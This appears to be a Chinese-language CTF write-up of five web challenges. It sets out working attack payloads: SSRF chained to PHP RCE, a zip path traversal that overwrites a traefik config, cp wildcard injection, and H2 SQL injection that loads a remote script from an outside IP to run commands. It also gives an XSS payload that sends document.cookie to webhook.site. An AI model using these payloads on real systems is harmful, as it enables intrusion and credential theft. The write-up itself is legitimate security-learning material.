Ranking: 15

Web AK

算是送去年的自己的一份礼物吧

总的来说比赛难度感觉比去年简单

Gavatar

简单代码审计可以发现在 upload.phpL19-L21 存在这样的代码:

$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);

典型的 SSRF, 最后要到 RCE 的话是老熟人 cn-ext 了, 直接三步走:

  • 先提取出 libc, 因为给了 docker 我们可以直接拿到
  • 再读取 /proc/self/maps 内存映射
  • 最后生成 cn-ext 的 payload

这边我们为了方便用 珂字辈 师傅的本地 payload 生成脚本: https://github.com/kezibei/php-filter-iconv/blob/main/php-filter-iconv.py

直接生成好后发给服务端即可产生 RCE 拿到 flag

cnext 我出题出这个考点都要出烦了, 这次又来一个......

traefik

这个题没什么好说的, 考了一下 traefik 的配置 + zip 文件逃逸

我们可以看到这个 config 是动态加载的, 于是我们考虑进行覆盖, 同时我们再把 flag 路由暴露出来. 通过代码审计, 需要使其 XFF 为 127.0.0.1, 我们可以写出如下配置

http:
  middlewares:
    trustXForwarded:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"

  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - trustXForwarded

接下来是覆盖, 我们可以看到我们的上传解压目录为: uploads/[uuid], 此时我们要穿越到上层的 .config 下面,

而代码中手动实现了解压, 读取文件名并解压写入, 我们便可以在文件名上做手脚, 通过计算 ../../.config/dynamic.yml 需要 25 字符, 我们先压缩一个25个字符文件名的文件

之后再用 010 Editor 打开, 将其文件名进行强制修改. 上传后即可访问到 /flag 路由

backup

打开后看得到底部有个提示 system($_REQUEST['__2025.happy.new.year']) 此处是经典的 PHP8 修复的解析漏洞, 我们可以传入_[2025.happy.new.year=xxxxx进行绕过

(这边建议可以写一个一句话木马之类的, 我直接上线了一下方便操作)

可以看到根目录存在一个定时脚本

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

done

此处可以看到在 cp 指令时使用了通配符, 可以造成命令注入

我的思路是他虽然不允许我用 symlink, 那我加上一个 -L 让他覆盖掉, 强制跟随软链接岂不是可以了吗? 于是我们创建文件

touch -- '-L'

之后再创建一个到 /flag 的软链接 ln -s /flag flag

即可拿到 flag

EasyDB

这个 Java 比去年的要没意思一点

我们可以看到在

image-20250210195638558

存在 SQL 注入, 我们可以发现这个是 H2 数据库.

注意有以下几个点. 这个用的是 executeQuery 不能使用 CREATE 相关的指令, 也不能堆叠注入.

同时还有 waf 了几个关键词, 我们想要能够输入任意 SQL 不被 WAF.

通过查阅了一下官方文档, 我们可以发现一个有趣的函数

CSVWRITE (fileNameString,queryString,csvOptions, lineSepString)

此处允许我们传参并执行一个 SQL Query, 此时我们便可以将我们的 payload 给进行一次编码就可以绕过 waf 了.

接下来该我们的 payload

我们可以参考网上的 H2 打 JDBC 的操作, 使用 LINK_SCHEMA 来再次链接到 H2, 同时传入 INIT 的 SQL

(可以参考 https://p4d0rn.gitbook.io/java/jdbc-attack/h2#chu-wang-li-yong-initrunscript)

我用的是 HEXTORAW 来的, 注意一下每一个 hex 前面有一个 00

可以构造出

select * from LINK_SCHEMA('h2', '','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM ' http://190.92.49.102:8997/init.sql'' ', 'sa', 'sa', 'PUBLIC')

给他套上一层:

' union select CSVWRITE('/tmp/kw', HEXTORAW('00730065006c0065006300740020002a002000660072006f006d0020004c0049004e004b005f0053004300480045004d004100280027006800320027002c002000270027002c0027006a006400620063003a00680032003a006d0065006d003a0074006500730074003b004d004f00440045003d004d005300530051004c005300650072007600650072003b0049004e00490054003d00520055004e005300430052004900500054002000460052004f004d0020002700200068007400740070003a002f002f003100390030002e00390032002e00340039002e003100300032003a0038003900390037002f0069006e00690074002e00730071006c0027002700200027002c00200027007300610027002c00200027007300610027002c00200027005000550042004c0049004300270029)),1,1 --

在服务器上创建好文件:

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('payload');

弹一个 shell 也可以

刚开始的时候想落一个恶意 Class 来着, 好不容易落地了才发现弄了半天结果发现加载的地方早就被改了(), 笨笨的 kengwang

display

简单的 XSS

一开始我看错题目了, 还以为要绕 DOMpurify, 想着出题人还整个 0-day 出来玩.

后来再审代码时发现根本不需要绕 DOMpurify, 于是就正常做了

好吧, 还是要绕 dompurify, 他这个会爬树来替换所有标签, 同时会对所有 < 进行转义.

于是我们尝试使用 HTML 实体字符来绕过吧 &#60; 代替前尖括号, &#62; 代替后尖括号

后半部分该绕 CSP 了

script-src 'self'; object-src 'none'; base-uri 'none';

我们可以看到 CSP 留了一个 script-src 为 self

审计代码可以发现:

app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

这个地方会拿我们的 path 并输出, 我们于是可以控制这个, 因为这个路径的开头为 /, 我们把他补全成 // 注释再换行也不是不行

接下来就该写插入 script 的 payload 了, 还是老一套了, iframe + srcdoc 加载

最后我们容易得到我们的 payload:

<h1>&#60;iframe srcdoc="&#60;html&#62;&#60;head&#62;&#60;script src='http://localhost:3000//%0Afetch(%27https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxx/%3F%27+btoa(document.cookie))%0A//'&#62;&#60;/script&#62;&#60;/head&#62;&#60;/html&#62;" &#62;</h1

当然, 传参的时候要注意编码, 这里贴一下最终的吧

POST /report HTTP/1.1
Host: xxxxxxxx
Content-Length: 359
Content-Type: application/json

{"text":"{{url(PGgxPiYjNjA7aWZyYW1lIHNyY2RvYz0iJiM2MDtodG1sJiM2MjsmIzYwO2hlYWQmIzYyOyYjNjA7c2NyaXB0IHNyYz0naHR0cDovL2xvY2FsaG9zdDozMDAwLy8lMEFmZXRjaCglMjdodHRwczovL3dlYmhvb2suc2l0ZS8vJTNGJTI3K2J0b2EoZG9jdW1lbnQuY29va2llKSklMEEvLycmIzYyOyYjNjA7L3NjcmlwdCYjNjI7JiM2MDsvaGVhZCYjNjI7JiM2MDsvaHRtbCYjNjI7IiAmIzYyOzwvaDE)}}+"}

最后能够拿到了